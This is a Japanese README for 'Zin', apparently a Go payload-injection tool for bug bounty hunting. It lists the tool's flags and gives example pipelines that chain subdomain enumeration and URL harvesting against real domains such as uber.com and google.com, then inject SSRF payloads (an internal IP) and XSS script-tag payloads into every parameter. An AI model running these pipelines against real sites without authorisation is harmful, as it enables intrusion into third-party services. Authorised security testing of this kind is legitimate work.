バージョン 1.0

😎 Zin 😎

バグバウンティ用のペイロードインジェクター（Go言語製）

機能

• 複数のペイロードをすべてのパラメータに注入
• 単一のペイロードをすべてのパラメータに注入
• レスポンスを出力フォルダに保存
• ステータスコードとレスポンス長を表示
• レスポンス内のパターンをgrep可能
• 非常に高速
• セットアップが簡単

インストール

$ go get -u github.com/ethicalhackingplayground/Zin

新機能

• ✅ レスポンス内のパターンマッチング
• ✅ ステータスコードのマッチング

引数

      _
     (_)
  _____ _ __
 |_  / | '_ \
  / /| | | | |
 /___|_|_| |_|

報奨金が訪れますように

  -c int
        同時実行数（デフォルト: 20）
  -g string
        レスポンス内のマッチをgrepする
  -p string
        使用するペイロード
  -pL string
        使用するペイロードのリスト
  -s int
        ステータスコードでフィルタリング（デフォルト: 200）

SSRFの例

$ subfinder uber.com | gau | grep "=http" | Zin -c 80 -p http://10.82.214.84:31386/foobar.js -g "SUP3R_S3cret_1337_K3y"

XSSの例

$ subfinder uber.com | gau | Zin -c 80 -p '"><script>alert(matchforthis)script>' -g "matchforthis"

複数ペイロードの注入

$ cat hosts | gau | grep "&" | Zin -c 80 -pL <payloadfile>

サブドメインスキャン

$ subfinder -dL domains --silent | gau | Zin -c 80 -p <payload>

パラメータのみテスト

$ echo "google.com" | gau | grep "&" | Zin -c 80 -p '"><script>alert(matchthis)</script<"' -g "matchthis"

複数ホスト

$ cat hosts | gau | Zin -c 80 -p <payload>

もし報奨金を受け取ったら、コーヒーを買ってサポートしてください